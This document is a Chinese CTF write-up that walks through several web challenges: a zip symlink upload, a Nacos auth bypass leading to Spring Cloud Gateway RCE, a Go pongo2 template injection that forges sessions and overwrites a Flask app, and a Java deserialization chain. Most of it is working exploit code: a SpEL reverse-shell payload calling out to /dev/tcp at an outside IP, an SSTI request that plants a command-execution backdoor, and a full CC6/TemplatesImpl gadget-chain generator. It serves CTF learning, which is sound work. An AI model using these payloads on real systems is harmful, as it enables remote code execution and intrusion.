都是参考别人的wp做的复现

Unzip(软链接)

upload.php

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

这里考察的是软链接

软链接连接目录

image-20230531111039582

跟着这里做来上传压缩文件就行了

BackendService

image-20230531104951995

题目给了一个界面,但是如何我们就去网上搜索看是否存在漏洞这个

然后找到了一个漏洞

nacos未授权-CVE-2021-29441复现 就是可以给后台加一个用户(用户名和密码自己可以设置)

image-20230531105226696

然后进行登录

image-20230531105329173

进入后台之后,这里就得用到jar包里的内容了

image-20230531105350138

这些内容就是关键了

image-20230531105433101

然后跟着里面进行操作就行了

Nacos结合Spring Cloud Gateway RCE利用

image-20230531105513222

因为这里给的是yaml,而jar包里要求的是json

所以我们找一个在线网站来进行转化

image-20230531105603112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://service-provider",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/101.42.39.110/3389 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}

image-20230531105642291

这些地方跟着jar里的设置就行

写好,点击发布shell就会自动反弹了

image-20230531105827280

这题当时,没注意到jar包里的内容,老是去搜索这个nacos的版本漏洞,导致最后没成功

gosession(go-ssti-flask)

route.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

这个一共有三个路由

  • Index
  • Admin
  • Flask

先看Index路由

Index路由内容很简单,直接赋了个session,session中的name值为guest,这⾥发现 session的key是通过SESSION_KEY环境变量获取的

image-20230530163802857

这里的err是指,如果有报错的话,会把报错信息赋给这个err

这里的nil是和null一个意思

再看Admin路由:

  • 这⾥对session做了验证,需要name为admin
  • 这⾥⽤pongo2做模板渲染,存在模板渲染漏洞

image-20230530164112496

接着看Flask路由:

Flask路由会请求靶机⾥5000端⼝服务,并把请求⻚⾯回显

image-20230530164124171

这里的入口点就是在这个Flask路由这里

通过使其报错flask/?name=/ 得到下面的源码 server.py

image-20230530164429706

5000端⼝为python的flask服务,开启了debug模式,源码不存在ssti漏洞

(赛后复现的发现这里的seesion_key是空的。。。。。。。,当时是一直在找这个key)

接下来我们就去无key伪造session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main
import (
"net/http"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
)
func main() {
var store = sessions.NewCookieStore([]byte(""))
r := gin.Default()
r.GET("/", func(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, "Hello, guest")
})
r.Run()
}

image-20230530171541196

根据这两个地方自己生成一个

这里的话这个代码可以在那个gin框架的github网站找到

image-20230530184301524

然后加上那个seesions就行了

image-20230530184349321

然后成功拿到伪造的admin的cookie

image-20230530184609077

成功登录进admin路由

(这里使用的是go的ssti使用的是pongo2的模板渲染)

接着构造请求包覆盖/app/server.py:

  • 注意name值需要url编码
  • c.HandlerName的值为main/route.Admin,接着用first过滤器获取到的就是m字符,用last过滤器获取到的就是n字符
  • 注意GET请求也是可以使用表单上传文件的

/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

(这里听说的网上搜不到的,是靠自己翻pongo2的官方文档自己翻出来的)

这位师傅写了详细的分析流程 找payload过程

这里的话是自己构造一个文件上传包来上传修改后的server.py来进行覆盖原来的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1
Host: 09b6676f-dac1-439f-be8a-1032efb446cc.challenge.ctf.show
Content-Length: 562
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn
Cookie: session-name=MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw==
Connection: close

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="file"; filename="server.py"
Content-Type: image/jpeg

from flask import Flask, request
import os
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
res = os.popen(name).read()
return res + " no ssti"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryqwT9VdDXSgZPm0yn--

这里话为什么要构造这个(是别的师傅去翻pongo2的官方文档得出的)

image-20230530195427938

image-20230530200113097

http://09b6676f-dac1-439f-be8a-1032efb446cc.challenge.ctf.show/flask/?name=?name=cat${IFS}/t*

这里传两个name的原因是 第一个name是flask路由下的不能出错,不然会返回错误页面

必须得让他走到访问5000端口这里,然后5000端口这里又有我们新覆盖的代码,一个name参数

DeserBug

(后半场放出的提示cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept)

这个题目给了jar包

这里的话我们先在本地搭一个环境来进行复现一下

image-20230529202349405

image-20230529202356594

搭建成功,这里的话就开始对jar包里的内容进行分析了

image-20230529205210683

这里给了一个cc3的依赖

Testapp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.app;

import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import cn.hutool.http.server.HttpServerRequest;
import cn.hutool.http.server.HttpServerResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Testapp {
public static void main(String[] args) {
HttpUtil.createServer(8888)
.addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null)
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
try {
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception e) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[] { String.class });
myexpect.setTypearg((Object[])new String[] { e.toString() });
myexpect.setTargetclass(e.getClass());
try {
result = myexpect.getAnyexcept().toString();
} catch (Exception ex) {
result = ex.toString();
}
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}

Myexpect.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.app;

import java.lang.reflect.Constructor;

public class Myexpect extends Exception {
private Class[] typeparam;

private Object[] typearg;

private Class targetclass;

public String name;

public String anyexcept;

public Class getTargetclass() {
return this.targetclass;
}

public void setTargetclass(Class targetclass) {
this.targetclass = targetclass;
}

public Object[] getTypearg() {
return this.typearg;
}

public void setTypearg(Object[] typearg) {
this.typearg = typearg;
}

public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}

public void setAnyexcept(String anyexcept) {
this.anyexcept = anyexcept;
}

public Class[] getTypeparam() {
return this.typeparam;
}

public void setTypeparam(Class[] typeparam) {
this.typeparam = typeparam;
}

public String getName() {
return this.name;
}

public void setName(String name) {
this.name = name;
}
}

image-20230529212400523

如何导入到idea中开始分析

这里的话先写一个恶意类

Evil.java

1
2
3
4
5
6
package com.app;
public class Evil {
public Evil() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

然后写一个poc进行利用

TmpTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.app;
import cn.hutool.json.JSONObject;
import com.app.Myexpect;

public class TmpTest {
public static void main(String[] args) {
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(Evil.class);

JSONObject jsonObject = new JSONObject();
jsonObject.put("whatever", myexpect);
}
}

上面的内容是跟据题目后半段给出的提示得出的结论

然后跟了一下他的执行流程

image-20230529214233881

最后是在这执行我们的恶意类的,至于怎么执行的我没跟进去,因为尝试了一下,发现太多了,跟不过来

接下来我们就找谁调用了这个jsonObject.put()方法

这里话是给了一个cc链的一个jar包 我们可以去考虑一下是否存在利用链可以调用这个put方法

image-20230529215754130

发现这里JSONObjetc.class这个类里边引用了别的类,这Map刚好和cc链里边的东西对应上,因为cc链里面也是有很多用到Map

img

根据这张对cc链总结的图片

我们据此可以联想到一个很特殊的Maporg.apache.commons.collections.map.LazyMap

image-20230529220631061

这里话刚好可以调用到

(这里的map在序列化的时候可控,并且key可控,value也可控)

因为cc链都是和transform有关,再加上这里存在,所以刚好可以利用这里来控制这个value

image-20230529220919526

factory也可控

那么根据图上的内容—->cc链 只要我们能调用到LazyMap.get方法就行,那么就有好几种方法来进行调用了

因为有好几种链的组合

这里的话就先讲一种,就是利用cc6这条链子来

DeserExp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.example;

import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class DeserExp implements Serializable {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\b.class"));

setValue(templatesimpl,"_name","fuck");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
Myexcpt myexcpt = new Myexcpt();
myexcpt.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class);
myexcpt.setTypeparam(new Class[]{Templates.class});
myexcpt.setTypearg(new Templates[]{templatesimpl});
JSONObject jsonObject = new JSONObject();
Map<Object,Object> lazymap = LazyMap.decorate(jsonObject,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
jsonObject.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,new ConstantTransformer(myexcpt));
System.out.println(serial(hashMap));
//deserial(serial(hashMap));

}

public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void cserialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object cunserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

这个exp的话是利用cc6动态类加载这两个执行方法来进行的(因为题目给的提示)

(这里的不用InvokerTransfomer的原因是这个版本是3.2.2,搬掉了3.2.1版本的InvokerTransfomer)

image-20230530162437944

所以就剩最后这里可以进行调用了

image-20230530154121909

所以这里就会用到动态类加载

这个exp好多东西都是固定的,只要修改一下让LazyMap.get()触发到JSONObject.put()方法就行了

image-20230530160454285

这里的话就刚好可以执行到这一步,那么就可以成功进行恶意代码的执行了